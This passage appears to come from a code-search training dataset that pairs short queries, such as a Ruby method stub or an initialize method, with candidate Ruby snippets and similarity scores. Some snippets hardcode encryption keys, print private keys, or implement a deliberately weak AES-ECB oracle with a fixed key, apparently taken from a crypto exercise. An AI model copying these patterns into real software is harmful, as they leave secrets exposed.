"def key(password)\n decrypt(@encrypted_key, key_encryption_key(password))\n end",
"def SignerKey(input = nil)\n case input\n when Transaction\n SignerKey.pre_auth_tx(input.hash)\n when /^[0-9A-Za-z+\\/=]{44}$/\n SignerKey.hash_x(Stellar::Convert.from_base64(input))\n when /^[0-9a-f]{64}$/\n SignerKey.hash_x(Stellar::Convert.from_hex(input))\n when /^.{32}$/\n SignerKey.hash_x(input)\n else\n SignerKey.ed25519(KeyPair(input))\n end\n end",
"def key\n @agent.private_key\n end",
"def exchange_keys\n result = send_kexinit\n verify_server_key(result[:server_key])\n session_id = verify_signature(result)\n confirm_newkeys\n\n {\n session_id: session_id,\n server_key: result[:server_key],\n shared_secret: result[:shared_secret],\n hashing_algorithm: digester\n }\n end",
"def gen_sig(mac, params)\n signed = params[\"signed\"].split(\",\").map {|k| [k, params[k]]}\n base64_encode(Signatures.sign(mac, kv_encode(signed)))\n rescue Signatures::NotFound\n nil\n end",
"def gamebus_key\n decrypt(self[:gamebus_key])\n end",
"def encryption_oracle(input)\n #Hardcoded, secret string\n append = 'Um9sbGluJyBpbiBteSA1LjAKV2l0aCBteSByYWctdG9wIGRvd24gc28gbXkg'\n append << 'aGFpciBjYW4gYmxvdwpUaGUgZ2lybGllcyBvbiBzdGFuZGJ5IHdhdmluZyBq'\n append << 'dXN0IHRvIHNheSBoaQpEaWQgeW91IHN0b3A/IE5vLCBJIGp1c3QgZHJvdmUg'\n append << 'YnkK'\n append = append.unpack('m')\n\n str = input + append.join\n\n cipher = OpenSSL::Cipher.new('AES-128-ECB') \n cipher.encrypt \n cipher.key = 'O' * Blocksize;\n \n enc = cipher.update(str) + cipher.final\n #Hex encoded return\n return enc.unpack('H*').join\nend",
"def generate_key; end",
"def to_uncryp(key)\n src = self\n\n key_len = key.size\n key = 'Think Space' if key_len == 0\n key_pos = 0\n\n offset = sprintf(\"%d\", '0x' + src[0,2]).to_i\n src_pos = 2\n dest = ''\n\n begin\n src_asc = sprintf(\"%d\", '0x' + src[src_pos,2]).to_i\n tmp_src_asc = src_asc ^ key[key_pos].ord\n tmp_src_asc = tmp_src_asc <= offset ? 255 + tmp_src_asc - offset : tmp_src_asc - offset\n dest = dest + tmp_src_asc.chr\n offset = src_asc\n key_pos = key_pos < key_len - 1 ? key_pos + 1 : 0\n src_pos = src_pos + 2\n end until src_pos >= src.size\n \n dest\n end",
"def md5_authkey( key1, key2, transact,currency, amount = nil)\n amount = \"0000\" if amount.nil?\n Digest::MD5.hexdigest( key2 +\n Digest::MD5.hexdigest( key1 + \"transact=#{transact}&amount=#{amount}¤cy=#{currency}\")\n )\n end",
"def get_random_aes_256_gcm_key\n cipher = OpenSSL::Cipher.new(\"aes-256-gcm\")\n cipher.encrypt\n random_key = cipher.random_key\n random_key_64_string = [random_key].pack(\"m\")\n random_key_64 = random_key_64_string.unpack(\"m\")[0]\n puts \"The base 64-encoded string representation of the randomly-\" \\\n \"generated AES256-GCM key is:\"\n puts random_key_64_string\n puts \"Keep a record of this key string. You will not be able to later \" \\\n \"decrypt the contents of any object that is encrypted with this key \" \\\n \"unless you have this key.\"\n return random_key_64\nend",
"def set_key(exponent_hex_string, modulus_hex_string)\n @key = RsaKey.new exponent_hex_string, modulus_hex_string\n end",
"def generate_big_key(date)\n md5_email = md5_hash @email\n md5_password = md5_hash @password\n date_string = date.strftime '%Y%m%d'\n\n big_key = ''\n big_key << md5_email[0, 13]\n big_key << date_string[0, 4]\n big_key << md5_password[0, 11]\n big_key << date_string[4, 2]\n big_key << md5_email[21, 11]\n big_key << date_string[6, 2]\n big_key << md5_password[19, 13]\n [big_key].pack('H*')\n end",
"def create_key(params)\n ::M2X::Client::Key.create!(@client, params.merge(device: self[\"id\"]))\n end",
"def generate_data_key\n begin\n\n resp = client.generate_data_key({\n key_id: key_id,\n key_spec: \"AES_256\"\n })\n\n return success_with_data(\n ciphertext_blob: resp.ciphertext_blob,\n plaintext: resp.plaintext\n )\n\n rescue => e\n return exception_with_data(\n e,\n 'a_k_3',\n GlobalConstant::ErrorAction.default,\n {\n purpose: @purpose,\n role: @role\n }\n )\n end\n\n end",
"def aes_key\n self.encrypted_data_will_change!\n \"dfdsdsfsdfsdfwefsdfds\"\n end",
"def initialize\n key_pair = ECDSA.generate_key_pair\n self.private_key, self.public_key = key_pair.values_at(:private_key, :public_key)\n end",
"def private_key\n @priv\n end",
"def key(length=256,format=:plain)\n key = ::AES::AES.new(\"\").random_key(length)\n case format\n when :base_64\n Base64.encode64(key).chomp\n else\n key\n end\n end",
"def output_key(key)\n STDOUT.write \"# Private key (d, n): #{'%X' % key.d} #{'%X' % key.n}\\n\"\n STDOUT.write \"key #{'%X' % key.e} #{'%X' % key.n}\\n\"\nend",
"def key_iv\r\n @key_iv\r\n end",
"def create(pvt)\n key = Bitcoin::Key.new\n key.priv = pvt\n key.addr\n end"
] | [
"0.67573506",
"0.6469433",
"0.6421602",
"0.6187748",
"0.6174795",
"0.6153859",
"0.61152786",
"0.6113035",
"0.6106023",
"0.6080731",
"0.6058705",
"0.6050827",
"0.60343266",
"0.6021635",
"0.6020837",
"0.60139185",
"0.60079",
"0.59283787",
"0.5915352",
"0.5915091",
"0.5907426",
"0.58985054",
"0.58964926",
"0.5891431",
"0.5847446",
"0.58432734",
"0.58164805",
"0.58089083",
"0.5795076",
"0.5782882",
"0.5777833",
"0.57739604",
"0.5770724",
"0.57537645",
"0.5738828",
"0.5717963",
"0.57111335",
"0.56869835",
"0.567874",
"0.564128",
"0.5639641",
"0.5639336",
"0.563438",
"0.5633398",
"0.5603171",
"0.5589907",
"0.55888706",
"0.5581942",
"0.5574694",
"0.55508894",
"0.55504483",
"0.55373657",
"0.5530763",
"0.55254024",
"0.5523193",
"0.5519577",
"0.5516985",
"0.5516742",
"0.55109984",
"0.55109984",
"0.5508634",
"0.5499073",
"0.54841435",
"0.54834753",
"0.5477126",
"0.5471551",
"0.5471551",
"0.5467326",
"0.5465929",
"0.5463313",
"0.54598796",
"0.5459171",
"0.54589653",
"0.54444456",
"0.5441172",
"0.54367757",
"0.5427112",
"0.5424345",
"0.54222614",
"0.5416825",
"0.5411316",
"0.5407352",
"0.54033583",
"0.53927183",
"0.53919977",
"0.53775465",
"0.5377097",
"0.5372034",
"0.53707737",
"0.5368835",
"0.5365759",
"0.5363061",
"0.5354006",
"0.5349809",
"0.5340851",
"0.5335974",
"0.5330436",
"0.5329069",
"0.53274256",
"0.5322109"
] | 0.7485602 | 0 |
Initialises a new instance. | def initialize(alg)
super(NAME, KEY_SIZE / 2, KEY_SIZE, alg)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def initialize\n init\n end",
"def initialize\n initialize!\n end",
"def initialize\n initialize!\n end",
"def initialize()\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize() end",
"def initialize\n \n end",
"def initialize()\n raise \"#{self.class.to_s} should not be instantiated directly.\"\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def new()\n #This is a stub, used for indexing\n end",
"def init\n raise NotImplementedError\n end",
"def initialize\r\n\r\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def init\n end",
"def init\n end",
"def init\n end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize(options = {})\n init(options)\n end",
"def constructor; end",
"def initialize(instance)\n @instance = instance\n end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize(instance)\n @instance = instance\n logger.debug \"Successfully initialized #{description}\"\n end",
"def initialize(instance)\n @instance = instance\n end",
"def initialize\n end",
"def instance\n @instance ||= new\n @instance.startup!\n end",
"def initialize\n self.context = Context.new\n end",
"def initialize()\n\t\tend",
"def initialize\n \n end",
"def initialize\n \n end",
"def initialize\n\t\t\n\tend",
"def initialize\n\n\tend",
"def initialize\n\n\tend",
"def new(*args)\n self.class.new(*args)\n end",
"def new(*args) dup.initialize(*args) end",
"def initialize()\r\n\r\n end",
"def init; end",
"def init; end",
"def init; end",
"def init; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def initialize\n set_defaults\n end",
"def initialize\n set_defaults\n end",
"def initialize(*args)\n super\n end",
"def initialize(*_)\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def new\n \n end",
"def new\n \n end",
"def new\n \n end",
"def new\n \n end"
] | [
"0.773726",
"0.76945853",
"0.76945853",
"0.7577139",
"0.75688547",
"0.7566295",
"0.7566295",
"0.7566295",
"0.7566295",
"0.7566295",
"0.7566295",
"0.75623906",
"0.75091994",
"0.73299444",
"0.72947663",
"0.72947663",
"0.72947663",
"0.72947663",
"0.72947663",
"0.72947663",
"0.72947663",
"0.72947663",
"0.72947663",
"0.7248145",
"0.721943",
"0.7214455",
"0.7174544",
"0.7174544",
"0.7174544",
"0.7174544",
"0.7174544",
"0.7174544",
"0.7174544",
"0.7174544",
"0.7169201",
"0.7169201",
"0.7169201",
"0.7134408",
"0.7134408",
"0.7134408",
"0.7134408",
"0.7134408",
"0.71309805",
"0.71309805",
"0.71309805",
"0.71309805",
"0.71309805",
"0.71309805",
"0.71309805",
"0.7122304",
"0.7109371",
"0.7090752",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70730215",
"0.70478314",
"0.70353913",
"0.70300746",
"0.7013181",
"0.69994485",
"0.6989697",
"0.6989697",
"0.6968118",
"0.6959473",
"0.6959473",
"0.69296324",
"0.69119126",
"0.6907242",
"0.6905009",
"0.6905009",
"0.6905009",
"0.6905009",
"0.6899616",
"0.6899616",
"0.6899616",
"0.6899616",
"0.6899616",
"0.6899616",
"0.6899616",
"0.6899616",
"0.6899616",
"0.6883132",
"0.6883132",
"0.6879244",
"0.6863223",
"0.6860818",
"0.6860818",
"0.6860818",
"0.6848673",
"0.6848673",
"0.6848673",
"0.6848673"
] | 0.0 | -1 |
Initialises a new instance. | def initialize(alg)
super(NAME, KEY_SIZE / 2, KEY_SIZE, alg)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def initialize\n init\n end",
"def initialize\n initialize!\n end",
"def initialize\n initialize!\n end",
"def initialize()\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize() end",
"def initialize\n \n end",
"def initialize()\n raise \"#{self.class.to_s} should not be instantiated directly.\"\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def new()\n #This is a stub, used for indexing\n end",
"def init\n raise NotImplementedError\n end",
"def initialize\r\n\r\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def initialize()\n end",
"def init\n end",
"def init\n end",
"def init\n end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize(*) end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize(options = {})\n init(options)\n end",
"def constructor; end",
"def initialize(instance)\n @instance = instance\n end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize(instance)\n @instance = instance\n logger.debug \"Successfully initialized #{description}\"\n end",
"def initialize(instance)\n @instance = instance\n end",
"def initialize\n end",
"def instance\n @instance ||= new\n @instance.startup!\n end",
"def initialize\n self.context = Context.new\n end",
"def initialize()\n\t\tend",
"def initialize\n \n end",
"def initialize\n \n end",
"def initialize\n\t\t\n\tend",
"def initialize\n\n\tend",
"def initialize\n\n\tend",
"def new(*args)\n self.class.new(*args)\n end",
"def new(*args) dup.initialize(*args) end",
"def initialize()\r\n\r\n end",
"def init; end",
"def init; end",
"def init; end",
"def init; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def new; end",
"def initialize\n set_defaults\n end",
"def initialize\n set_defaults\n end",
"def initialize(*args)\n super\n end",
"def initialize(*_)\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def new\n \n end",
"def new\n \n end",
"def new\n \n end",
"def new\n \n end"
] | [
"0.773726",
"0.76945853",
"0.76945853",
"0.7577139",
"0.75688547",
"0.7566295",
"0.7566295",
"0.7566295",
"0.7566295",
"0.7566295",
"0.7566295",
"0.75623906",
"0.75091994",
"0.73299444",
"0.72947663",
"0.72947663",
"0.72947663",
"0.72947663",
"0.72947663",
"0.72947663",
"0.72947663",
"0.72947663",
"0.72947663",
"0.7248145",
"0.721943",
"0.7214455",
"0.7174544",
"0.7174544",
"0.7174544",
"0.7174544",
"0.7174544",
"0.7174544",
"0.7174544",
"0.7174544",
"0.7169201",
"0.7169201",
"0.7169201",
"0.7134408",
"0.7134408",
"0.7134408",
"0.7134408",
"0.7134408",
"0.71309805",
"0.71309805",
"0.71309805",
"0.71309805",
"0.71309805",
"0.71309805",
"0.71309805",
"0.7122304",
"0.7109371",
"0.7090752",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70835525",
"0.70730215",
"0.70478314",
"0.70353913",
"0.70300746",
"0.7013181",
"0.69994485",
"0.6989697",
"0.6989697",
"0.6968118",
"0.6959473",
"0.6959473",
"0.69296324",
"0.69119126",
"0.6907242",
"0.6905009",
"0.6905009",
"0.6905009",
"0.6905009",
"0.6899616",
"0.6899616",
"0.6899616",
"0.6899616",
"0.6899616",
"0.6899616",
"0.6899616",
"0.6899616",
"0.6899616",
"0.6883132",
"0.6883132",
"0.6879244",
"0.6863223",
"0.6860818",
"0.6860818",
"0.6860818",
"0.6848673",
"0.6848673",
"0.6848673",
"0.6848673"
] | 0.0 | -1 |
If an error occurs, set the response status to 500 and call the error handler. | def _roda_handle_main_route
begin
res = super
ensure
_roda_after(res)
end
rescue *opts[:error_handler_classes] => e
_handle_error(e)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def error_500\n if !request.xhr?\n render :template => \"errors/500\", :status => \"500 Internal Server Error\"\n else\n respond_to do |format|\n format.json {render :json => {\n :error => \"500\",\n }, :status => \"500\"}\n end\n end\n end",
"def handle_error(error)\n # Can be overridden\n render plain: error.inspect, status: 500\n end",
"def error_500\n render 'error/error500'\n end",
"def render_500\n error = { :message => \"Server error - Something went wrong at our end\"}\n render :json => error, :status => 500\n end",
"def error\n render plain: '500 Internal Server Error', status: :internal_server_error\n end",
"def render_error_500(error)\n notify_unhandled_exception(error)\n response = ErrorResponse.new(500)\n response.add(500, 'internal_server_error', meta: error_metadata(error))\n render_error(response)\n end",
"def handle_500(exception = env[\"action_dispatch.exception\"])\n # Some one requested '/500' directly?\n if exception.blank?\n if (error_500_url_alias = Settler[:error_page_500]).present? && @node = Node.find_by_url_alias(error_500_url_alias)\n @page = @node.content\n render :template => 'pages/show', :status => :internal_server_error\n else\n render :template => 'errors/500', :status => :internal_server_error\n end\n return\n end\n\n if Rails.env.test?\n puts \"\\n#{exception.message}\"\n puts exception.backtrace.join(\"\\n\")\n end\n\n send_exception_notification(exception)\n error = { :error => \"#{exception} (#{exception.class})\", :backtrace => exception.backtrace.join('\\n') }\n @page_title = t('errors.internal_server_error')\n\n respond_to do |f|\n f.html do\n if request.xhr?\n render :json => error.to_json, :status => :internal_server_error\n else\n set_view_paths\n if (error_500_url_alias = Settler[:error_page_500]).present? && @node = Node.find_by_url_alias(error_500_url_alias)\n @page = @node.content\n render :template => 'pages/show', :status => :internal_server_error\n else\n render :template => 'errors/500', :status => :internal_server_error\n end\n end\n end\n f.xml { render :xml => error.to_xml, :status => :internal_server_error }\n f.any(:json, :js) { render :json => error.to_json, :status => :internal_server_error }\n f.any(:rss, :atom) { render :xml => error.to_xml, :status => :internal_server_error, :layout => false }\n f.all { render :nothing => true, :status => :internal_server_error }\n end\n end",
"def internal_server_error(object)\n render json: object, status: 500\n end",
"def status_error\n @status = 500\n end",
"def status_code\n 500 # This should not be called directly\n end",
"def render_500(exception = nil)\n puts_stacktrace(exception) if exception\n if !signed_in?\n # gflash error: \"#{exception.message}\"\n redirect_to signin_path, flash: { error: 'You must first sign in or sign up.' }\n else\n respond_to do |format|\n format.html { render template: 'errors/internal_server_error', layout: 'application', status: 500 }\n format.js { render template: 'errors/internal_server_error', layout: 'application', status: 500 }\n format.all { render nothing: true, status: 500 }\n end\n end\n end",
"def error\n\t\t@page_title = '500 Error'\n\t\t@url_path = get_path\n\t\tflash.now[:error] = \"An error occurred while attempting to access ‘#{@path}’.\"\n\t\trender :action=>'error', :status=>'500 Error'\n\tend",
"def render_500\n render 'errors/index_500'\n end",
"def error(code=500, body = nil)\n unless code.is_a?(Integer)\n body = code\n code = 500\n end\n\n response.status = code\n response.body = body if body\n halt\n end",
"def render_500(exception=nil)\n if exception\n logger.error \"Rendering 500 with exception: #{exception.message}\"\n logger.error exception.backtrace.join(\"\\n\")\n ExceptionNotifier.notify_exception(exception, env: request.env)\n end\n breadcrumbs.clear\n @error = [500, 'Internal Server Error']\n render status: 500, template: 'errors/default.html'\n end",
"def internal_server_error\n @exception = env['action_dispatch.exception']\n #TODO: log exception information you want to log here\n # after removing it from the normal logging via lograge\n render status: 500\n end",
"def handle_error(exception, error_status = 500)\n unless @context.status == error_status\n @context.status = error_status\n \n # FIXME: have to reset @context as well. This is uggly \n # and extremely error prone. We should rethink how this \n # works.\n \n @out = @context.output_buffer = \"\"\n\n session[:RENDERING_ERROR] = exception\n\n render(\"/status_#{error_status}\")\n end\n end",
"def internal_error\n\t\tself.status = 500\n\t\tself.headers = {}\n\t\tself.content = [\"Internal error\"]\n\t\tself\n\tend",
"def render_500(exception = nil)\n JsonApiServer.logger.error(exception.try(:message))\n JsonApiServer.logger.error(exception.try(:backtrace))\n\n errors = JsonApiServer.errors(\n status: 500,\n title: I18n.t('json_api_server.render_500.title'),\n detail: I18n.t('json_api_server.render_500.detail')\n )\n render json: errors.to_json, status: 500\n end",
"def _handle_error(e)\n res = @_response\n res.send(:initialize)\n res.status = 500\n res = _roda_handle_route{handle_error(e)}\n begin\n _roda_after(res)\n rescue => e2\n if errors = env['rack.errors']\n errors.puts \"Error in after hook processing of error handler: #{e2.class}: #{e2.message}\"\n e2.backtrace.each{|line| errors.puts(line)}\n end\n end\n res\n end",
"def render_error(exception = nil)\n\trespond_to do |format|\n\t\tformat.html{\n\t\t\trender :file => \"/app/views/errors/500.html.erb\", :status => 500, :layout => \"application\"\n\t\t}\n\t\tformat.xml { head :not_found }\n\t\tformat.any { head :not_found }\t\n\tend\n end",
"def handle_exception(exception, request, response)\n response.flush\n response.status = 500\n\n if config.development?\n response.content_type = \"text/html\"\n response.puts(Rack::ShowExceptions.new(nil).pretty(request.env, exception))\n else\n response.layout = \"layouts/exception\" if Harbor::View.exists?(\"layouts/exception\")\n\n if Harbor::View.exists?(\"exceptions/500.html.erb\")\n response.render \"exceptions/500.html.erb\", :exception => exception\n else\n response.puts \"We're sorry, but something went wrong.\"\n end\n end\n\n raise_event(:exception, Events::ServerErrorEvent.new(request, response, exception))\n end",
"def standard_error(error)\n #When we rescue an error, we prevent our program from doing what\n #it normally would do - crashing, such as logging the details\n #and the backtrace. it's important to always log this information\n #when rescuing a general type\n\n #Use the logger.error method with an error's message to\n #log the error details again\n logger.error error.full_message\n\n render(\n status: 500,\n json:{\n status:500,\n errors:[{\n type: error.class.to_s,\n message: error.message\n }]\n }\n )\n end",
"def error_handler\n begin\n yield\n rescue => exception\n options = Rails.env.development? ? {:backtrace => exception.backtrace, :class => exception.class.to_s} : {}\n render_error(exception.message, options)\n end\n end",
"def status\n 500\n end",
"def bite\n raise @_error if @_error\n before\n response(handle_call)\n rescue Exception => e\n code, error = 500, e\n if Lunetas::Error::BaseError === e\n code = e.code\n elsif development?\n error = \"Error: #{e.message}\\nBacktrace: #{e.backtrace.join(\"\\n\")}\"\n end\n response(error, code)\n end",
"def internal_server_error\r\n redirect_to(request.referrer || root_path, alert: 'Internal Server Error', status: 500)\r\n end",
"def fallback_error_handler(exception)\n __debug_exception('RESCUE_FROM', exception, trace: true)\n self.status = :internal_server_error\n if rendering_html?\n flash_now_alert(exception)\n render\n elsif posting_html?\n redirect_back(fallback_location: root_path, alert: exception.message)\n end\n rescue => error\n error_handler_deep_fallback(__method__, error)\n end",
"def check_errors_or_500(object)\n \n if(object.errors.messages)\n render json: object.errors.messages.to_json, status: 400\n else\n render json: {error: \"Internal server error\"}.to_json, status: 500\n end\n\n end",
"def handle_error(e)\n # if an error is raised, we send an error response\n unless @response_sent || @streaming\n send_response(Response.error(e))\n end\n end",
"def halt_on_error!(error_code = :bad_request)\n on_error { halt error_code }\n self\n end",
"def send_error(e, res)\n res.status = 500\n res['Content-Type'] = 'application/json'\n body = { code: -1, error: \"#{e.class}: #{e.message}\" }\n body[:backtrace] = e.backtrace\n res.body = @shell.data(body).json(@shell.indent)\n @shell.logger.warn(Impl.format_error(e))\n\tend",
"def generic_exception(error)\n render json: {\n success: false,\n message: error.message\n }, status: :internal_server_error\n end",
"def render_error(msg, code=500)\n respond_with(nil, :status => {:msg => msg, :code => code})\n end",
"def error code, body=nil\n code, body = 500, code if code.respond_to? :to_str\n @response.body = body unless body.nil?\n halt code\n end",
"def default_errors!\n configure :production do\n error ::Exception do\n boom = env['sinatra.error']\n logger.error [\"#{boom.class} - #{boom.message}:\", *boom.backtrace].join(\"\\n \")\n response.status = 500\n content_type 'text/html'\n '<h1>Internal Server Error</h1>'\n end\n end\n end",
"def render_error exception\n\n logger.info\"==========error 500=========\"\n #Rails.logger.error(exception)\n #render :template => \"/errors/500.html.erb\", :status => 500\n logger.info \"#{'-'*100} #{request.format} #{'-'*100}\"\n @error = exception\n ActiveSupport::Notifications.instrument \"exception.action_controller\", message: @error.message, inspect: @error.inspect, backtrace: @error.backtrace\n respond_to do |format|\n format.html { render template: \"errors/error_500\", status: 500, layout:false }\n format.all { render nothing: true, status: 500}\n\n end\n log_exception_handler(exception)\n end",
"def throw500(msg = \"\", details = nil)\n MU.log \"Returning 500 to client: #{msg}\", MU::ERR, details: details\n page = genHTMLMessage(title: \"500 Error\", headline: msg, msg: details)\n [\n 500,\n {\n 'Content-Type' => 'text/html',\n 'Content-Length' => page.length.to_s\n },\n [page]\n ]\nend",
"def server_error\n messages = [\"Captain!\", \"Man overboard!\", \"Ekk!\"]\n MsteamsNotifier::Message.quick_message \"#{messages.sample} We've had a 500 error at #{request.referrer}\"\n render status: 500, layout: \"dash/error\"\n end",
"def error!(status, message)\n response.status = status\n response[\"Content-Type\"] = \"application/json\"\n response.write({error: message}.to_json)\n request.halt\n end",
"def generic_exception(error)\n render json: {\n error: error.message\n }, status: :internal_server_error\n end",
"def send_error(e, res)\n res.code = 500\n res['Content-Type'] = 'application/json'\n body = { code: -1, error: \"#{e.class}: #{e.message}\" }\n body[:backtrace] = e.backtrace\n res.body = @shell.data(body).json(@shell.indent)\n @shell.logger.warn(Impl.format_error(e))\n\tend",
"def render_error( status_code )\n\n respond_to do |format|\n\n format.html { render( action: status_code, status: status_code )}\n format.all { head( status_code )}\n\n end\n\n @error_sent = true\n\n true # return something so we can chain things\n\n end",
"def after_exception(e)\n logger.error \"Error processing request\", e.message, e\n after(500)\n end",
"def render_error(msg, status)\n render_403\n end",
"def set_error(status)\n error_response = Rack::Response.new\n error_response.status = status\n @error_response = error_response.finish {yield}\n end",
"def internal_server_error(exception = nil)\n error_rendering exception, __callee__\n end",
"def return_error(opts = {})\n opts[:error_code] = opts[:error_code] || 500\n opts[:message] = opts[:message] || 'An Internal Error Occurred'\n if request.accept?('application/json') || request.accept?('application/vnd.api+json')\n response.headers['Content-Type'] = 'application/vnd.api+json'\n halt opts[:error_code], build_json_error(opts)\n else\n halt opts[:error_code], opts[:message]\n end\n end",
"def respond_with_exception(exception = nil)\n msg = exception ? exception.message : \"Internal Server Error\"\n render partial: \"api/error\", locals: { message: msg, error_code: \"exception\" }, status: 500\n return false\n end",
"def no_500_error!\n return true if browser.all(:css, 'head title', :text => 'Internal Server Error').empty?\n sleep 30 if ENV['GIMME_CRAP']\n raise Unexpected500, browser.body\n end",
"def serve_exception(_exception); end",
"def rescue_action_in_public(exception)\n render :template => \"shared/error\", :status => \"500\"\n end",
"def error_handler_deep_fallback(meth, error = nil)\n Log.error { \"#{meth} FAILED: #{error.inspect}\" } if error\n self.status = :internal_server_error\n render welcome_path\n end",
"def render_error_status(status=500, log_msg = \"\")\n logger.error \"REQUEST **************** Rendering #{status}: #{log_msg}. Request URI: #{request.url} ****************\"\n render :file => \"#{Rails.root}/public/#{status}.html\", :status => status, :layout => false\n return false\n end",
"def log_error(response)\n if response.code.to_i >= 500\n @logger.error \"Request #{@uri} failed: #{response.code}\"\n end\n response\n end",
"def render_not_found\n respond_to do |f|\n f.html{ render :template => \"errors/500\", :status => 500}\n end\n end",
"def _error(message,code) \n status code\n response.headers['Content-Type'] = 'application/json'\n body({:error=>{:message=>message}}.to_json)\n end",
"def handle_api_error(error_class)\n rescue_from error_class do |ex|\n problem, status =\n if block_given?\n yield ex\n else\n [{ detail: ex.message }, :ok]\n end\n\n render problem: problem, status: status\n end\n end",
"def error_response(exception)\n render json: { message: exception.message }, status: :bad_request\n end",
"def render_500(exception = nil)\n if exception\n# twit_msg = \"http://www.megam.co: error, support issue created.\".slice! 0..140\n# client = Twitter::REST::Client.new do |config|\n# config.consumer_key = ENV['TWITTER_CLIENT_ID']\n# config.consumer_secret = ENV['TWITTER_SECRET_KEY']\n# config.access_token =ENV['TWITTER_ACCESS_TOKEN']\n# config.access_token_secret =ENV['TWITTER_ACCESS_TOKEN_SECRET']\n# end\n# begin\n# client.update(twit_msg)\n# rescue Twitter::Error\n# ## just ignore twitter errors.\n# end\n\n short_msg = \"(#{exception.message})\"\n filtered_trace = exception.backtrace.grep(/#{Regexp.escape(\"nilavu\")}/)\n if !filtered_trace.empty?\n full_stacktrace = filtered_trace.join(\"\\n\")\n Rails.logger.fatal \"\\n#{short_msg}\"\n Rails.logger.fatal \"#{full_stacktrace}\"\n UserMailer.error_email({:email => current_user[\"email\"], :message =>\"#{short_msg}\", :stacktrace => \"#{full_stacktrace}\" }).deliver\n end\n end\n respond_to do |format|\n format.html { render template: 'errors/internal_server_error', layout: 'application', status: 500 }\n format.js { render template: 'errors/internal_server_error', layout: 'application', status: 500 }\n format.all { render nothing: true, status: 500}\n end\n end",
"def handle_response(response)\n case response.code.to_i\n when 200...400\n response\n when 404\n raise NotFoundError.new(response)\n else\n raise ConnectionError.new(response)\n end\n end",
"def handle_response(response)\n case response.code.to_i\n when 200...400\n response\n when 404\n raise NotFoundError.new(response)\n else\n raise ConnectionError.new(response)\n end\n end",
"def render_error(exception)\n Bugsnag.notify(exception)\n render template: 'errors/internal_server_error', status: :not_found\n end",
"def respond_bad_request; make_response(nil, false, 400, \"Bad Request\") end",
"def render_error(status)\n respond_to do |format|\n # format.html { render file: \"errors/#{ActionController::StatusCodes.send(status)}\", status: status }\n\n # FIXME: I tried to access gem's views/errors/errors and didn't work\n format.html { render file: \"#{Rails.root}/public/404\", status: status }\n format.xml { head status }\n format.any { head status }\n end\n end",
"def render_error(err)\n json_response({ message: err }, :unprocessable_entity)\n end",
"def handle_response(response)\n case response.code.to_i\n when 301, 302, 303, 307\n raise Redirection, response\n when 200...400\n response\n when 400\n raise ResourceInvalid, response\n when 401\n raise UnauthorizedAccess, response\n when 403\n raise ForbiddenAccess, response\n when 404\n raise ResourceNotFound, response\n when 405\n raise MethodNotAllowed, response\n when 409\n raise ResourceConflict, response\n when 410\n raise ResourceGone, response\n when 422\n raise ResourceInvalid, response\n when 401...500\n raise ClientError, response\n when 500...600\n raise ServerError, response\n else\n raise(ConnectionError.new(response, \"Unknown response code: #{response.code}\"))\n end\n end",
